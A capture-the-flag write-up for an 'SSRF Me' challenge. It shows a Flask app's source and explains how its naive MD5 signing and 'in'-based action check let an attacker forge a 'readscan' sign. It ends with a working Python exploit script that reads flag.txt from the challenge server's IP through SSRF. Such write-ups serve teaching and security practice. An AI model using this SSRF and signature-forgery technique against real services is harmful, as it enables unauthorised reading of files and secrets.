# SSRF Me - Writeup ##### By *sh4d0w58*
### Description:
>SSRF ME TO GET FLAG. [http://139.180.128.86/](http://139.180.128.86/)
### Solution:
On visiting [http://139.180.128.86/](http://139.180.128.86/) we are given the source code of the Flask App that we are interfacing with:
```#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json 
reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) 
class Task: 	def __init__(self, action, param, sign, ip): 		self.action = action 		self.param = param 		self.sign = sign 		self.sandbox = md5(ip) 		if(not os.path.exists(self.sandbox)): 			#SandBox For Remote_Addr 			os.mkdir(self.sandbox) 
	def Exec(self): 		result = {} 		result['code'] = 500 		if (self.checkSign()): 			if "scan" in self.action: 				tmpfile = open("./%s/result.txt" % self.sandbox, 'w') 				resp = scan(self.param) 				if (resp == "Connection Timeout"): 					result['data'] = resp 				else: 					print resp 					tmpfile.write(resp) 					tmpfile.close()					result['code'] = 200 			if "read" in self.action: 				f = open("./%s/result.txt" % self.sandbox, 'r') 				result['code'] = 200 				result['data'] = f.read() 			if result['code'] == 500: 				result['data'] = "Action Error" 		else: 			result['code'] = 500 			result['msg'] = "Sign Error" 		return result 
	def checkSign(self): 		if (getSign(self.action, self.param) == self.sign): 			return True 		else: 			return False 
#generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): 	param = urllib.unquote(request.args.get("param", "")) 	action = "scan" 	return getSign(action, param) 
@app.route('/De1ta',methods=['GET','POST']) def challenge(): 	action = urllib.unquote(request.cookies.get("action")) 	param = urllib.unquote(request.args.get("param", "")) 	sign = urllib.unquote(request.cookies.get("sign")) 	ip = request.remote_addr 	if(waf(param)): 		return "No Hacker!!!!" 	task = Task(action, param, sign, ip) 	return json.dumps(task.Exec()) 
@app.route('/') def index(): 	return open("code.txt","r").read() 
def scan(param): 	socket.setdefaulttimeout(1) 	try: 		return urllib.urlopen(param).read()[:50] 	except: 		return "Connection Timeout" 
def getSign(action, param): 	return hashlib.md5(secert_key + param + action).hexdigest() 
def md5(content): 	return hashlib.md5(content).hexdigest()
def waf(param): 	check=param.strip().lower() 	if check.startswith("gopher") or check.startswith("file"): 		return True 	else: 		return False 
if __name__ == '__main__': 	app.debug = False 	app.run(host='0.0.0.0',port=80)```
Looking over it, we see that visiting `"/De1ta"` will execute the `challenge()` function and construct a new `Task` object with an `action`, `param`, and `sign` that we provide as cookies and a GET parameter. (Also our `ip` is passed to it). Then it will call the `Exec()` method of the object and return the json result.
```task = Task(action, param, sign, ip) return json.dumps(task.Exec()) ```
Inside `Exec()`, `checkSign()` is called. This function checks whether the `sign` value is the same as the value generated by `getSign()`. We have to pass this check to move on to the rest of `Exec()`.
```def checkSign(self): 		if (getSign(self.action, self.param) == self.sign): 			return True 		else: 			return False```
`getSign()` performs an md5 hash with `secret_key + param + action`. `secret_key` is a random value that is generated by the App, so we don't know it.
```def getSign(action, param): 	return hashlib.md5(secert_key + param + action).hexdigest() ``` 
So now we need a way to generate a valid sign. Making a request to `/geneSign` will generate a `sign` value for us, however it will only allow us to pass it the `param` value and the `action` value will be set to `"scan"`.
```@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): 	param = urllib.unquote(request.args.get("param", "")) 	action = "scan" 	return getSign(action, param) ```
Now that we can generate a valid `sign` value, we can pass the check and move on to the rest of `Exec()`. The first `if` case checks if `"scan"` is `in` `action`. Notice, it does not check whether `action == "scan"`, only whether it contains it. This will be important later. The `"scan"` action will make a request with the value of `param` and write it to a file.
```if "scan" in self.action: 	tmpfile = open("./%s/result.txt" % self.sandbox, 'w') 	resp = scan(self.param) 	if (resp == "Connection Timeout"): 		result['data'] = resp 	else: 		print resp 		tmpfile.write(resp) 		tmpfile.close()		result['code'] = 200 ```
The second `if` case performs the same check with `"read"`. This action will read the file that we just wrote the result of `"scan"` to.
```if "read" in self.action: 	f = open("./%s/result.txt" % self.sandbox, 'r') 	result['code'] = 200 	result['data'] = f.read() ```
Going back to the `"scan"` case, we see the function `scan()` is called with our `param`. This function will use `urllib.urlopen()` to perform the request and this is where the SSRF vulnerability is.
```def scan(param): 	socket.setdefaulttimeout(1) 	try: 		return urllib.urlopen(param).read()[:50] 	except: 		return "Connection Timeout" ```
To read local files we could use the `"file://"` protocol, however any `param` value that starts with `"file"` or `"gopher"` is blocked in the `challenge()` function. I believe there are multiple ways to get past this, but I noticed that starting `param` without a protocol would attempt to read files from the file system. The challenge hint says...
>flag is in ./flag.txt
This will allow us to read the flag into a file, but we will not be able to read it without a valid sign with the action **including** `"read"`. If we can generate a sign for the `action` as `"readscan"`, we can perform the scan and read the result in one go.
Notice, `geneSign()` will perform an md5 hash of `secret + param + action` so we can pass the value of `param` as `"flag.txtread"` (the value of `action` will be `"scan"`) and generate the *same* hash as if we pass `param` as `"flag.txt"` and `action` as `"readscan"`.
```"flag.txtread"+"scan" == "flag.txt"+"readscan"```
You could also use a length extension attack, but this way is more simple.
So our exploit is complete.
We get the flag `"de1ctf{27782fcffbb7d00309a93bc49b74ca26}"`
### Full Code:
```import requests
def geneSign(param):	return requests.get("http://139.180.128.86/geneSign?param="+param).text
realParam = "flag.txt"
param = realParam+"read"sign = geneSign(param)param = realParam
action = "readscan"
answer = requests.get("http://139.180.128.86/De1ta?param="+param, cookies={"action":action,"sign":sign}).text
print(answer)```